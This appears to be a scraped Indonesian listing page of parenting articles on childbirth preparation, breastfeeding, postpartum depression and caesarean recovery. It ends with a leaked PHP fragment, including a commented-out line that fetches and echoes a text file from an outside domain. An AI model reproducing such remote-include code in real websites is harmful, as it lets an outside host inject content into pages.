Gizi & Kesehatan

Siapkan Diri Jelang Kelahiran Bayi

Siapkan Diri Jelang Kelahiran Bayi

 

Duh, tak sabar menyambut kelahiran sang bayi. Agar hari-H mudah dijalani, lancar dan menyenangkan semua harus disiapkan matang. Coba cek kesiapan Anda menjelang kelahirannya... read more

Fakta Tentang Rasa ASI

Fakta Tentang Rasa ASI

 

Apa yang dimakan ibu, bayi merasakannya lewat ASI. Tapi, cita rasa ASI tidak 100% sama dengan makanan dan hanya bertahan maksimal 8 jam.... read more

Teknik Mengejan Efektif

Teknik Mengejan Efektif

 

Proses melahirkan memang merupakan sebuah perjuangan, karena mengejan itu memang tidak mudah dan perlu dipelajari dengan baik agar baik ibu maupun bayi selamat. Berikut teknik mengejan yang benar dan efektif.... read more

Menyusui Cegah Kehamilan Sundulan

Menyusui Cegah Kehamilan Sundulan

 

Menyusui memang memiliki banyak manfaat. Salah satunya bagi ibu adalah sebagai alat kontrasepsi alami. Namun agar metode kontrasepsi alami ini efektif, ada beberapa syarat dan kondisi.... read more

Cegah Depresi Paska Kelahiran

Cegah Depresi Paska Kelahiran

 

Hasil penelitian, sekitar 10% dari ibu yang baru melahirkan, khususnya anak pertama, mengalami depresi paska kelahiran. Inilah cara mencegahnya.... read more

Anjuran di Hari Pertama Paska Caesar

Anjuran di Hari Pertama Paska Caesar

 

Inginnya sih langsung menimang bayi. Apa daya bergerak masih sangat terbatas dan nyeri setelah menjalani operasi caesar. Tidak perlu bad mood. Kalau mau ingin cepat pulih, inilah yang harus dikerjakan hari pertama dan kedua... read more

Anjuran di Hari Kedua Paska Caesar

Anjuran di Hari Kedua Paska Caesar

 

Anda bisa segera pulih setelah caesar. Tapi, bersabarlah. Proses pemulihan paska operasi pasti butuh waktu. Karenanya, ada yang bisa Anda lakukan di hari kedua paska kelahiran agar cepat pulih ... read more

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>